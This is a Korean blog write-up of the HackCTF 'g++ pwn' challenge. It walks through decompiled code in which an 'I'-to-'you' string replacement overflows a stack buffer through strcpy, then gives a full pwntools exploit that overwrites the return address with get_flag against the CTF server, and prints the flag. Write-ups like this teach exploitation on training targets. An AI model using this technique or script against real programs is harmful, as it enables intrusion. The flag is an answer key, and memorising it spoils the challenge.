ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • g++ pwn
    CTF/HackCTF 2021. 1. 31. 22:31

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        vuln();
        return 0;
    }
    void vuln(void)
    {
        undefined4 uVar1;
        char *dest;
        int32_t var_1ch;
        int32_t var_18h;
        int32_t var_11h;
        int32_t var_9h;
        int32_t var_bp_4h;
        
        printf("Tell me something about yourself: ");
        fgets(&dest, 0x20, _reloc.stdin);
        std::string::operator=(char const*)(input, &dest);
        std::allocator<char>::allocator()(&var_11h);
        
        std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)
                  (&var_18h, 0x8049823, &var_11h);
        std::allocator<char>::allocator()(&var_9h);
        
        std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)
                  ((int32_t)&var_11h + 1, 0x8049827, &var_9h);
        replace((int32_t)&var_1ch, (int32_t)input, (int32_t)&var_11h + 1, (int32_t)&var_18h);
        std::string::operator=(std::string const&)(input, &var_1ch);
        std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(&var_1ch);
        std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()((int32_t)&var_11h + 1);
        std::allocator<char>::~allocator()(&var_9h);
        std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(&var_18h);
        std::allocator<char>::~allocator()(&var_11h);
        uVar1 = std::string::c_str() const(input);
        strcpy(&dest, uVar1);
        printf(0x8049829, &dest);
        return;
    }

    vuln은 fgets로 0x20바이트만큼 입력받고 이를 replace에 넘긴 후 변환된 문자열을 printf로 출력한다.

    replace

    replace에 전달되는 인자 중 "I"와 "you"가 눈에 띈다.

     

    I -> you

    replace는 입력한 문자열의 모든 I를 you로 바꾸어주는 역할임을 짐작할 수 있다.

    RET Overwrite


    fgets(&dest, 0x20, _reloc.stdin);
    
    ...
    
    input = replace(&dest)
    
    ...
    
    uVar1 = std::string::c_str() const(input);
    strcpy(&dest, uVar1); // ebp-0x3c
    printf(0x8049829, &dest);

    replace를 거친 문자열은 ebp-0x3c에 위치한 dest에 저장된다. "I"가 "you"로 변환되므로 0x20바이트의 입력만으로 0x3c바이트를 오버플로우시킬 수 있다.

    void get_flag(void)
    {
        system("cat flag.txt");
        return;
    }

    따라서 return address를 get_flag로 덮어주면 문제를 해결할 수 있다. 

     

    Code

    더보기
    from pwn import *
    
    binary = "./gpwn"
    server = "ctf.j0n9hyun.xyz"
    port = 3011
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    
    get_flag = e.symbols["get_flag"]
    
    payload = b"I"*0x14
    payload += b"A"*0x4
    payload += p32(get_flag)
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{It's_e4si3r_th4n_y0u_th1nk!}

    'CTF > HackCTF' 카테고리의 다른 글

    1996  (0) 2021.02.01
    Poet  (0) 2021.02.01
    Basic_FSB  (0) 2021.01.29
    RTL_World  (0) 2021.01.21
    Yes or no  (0) 2021.01.21

    댓글

Designed by Tistory.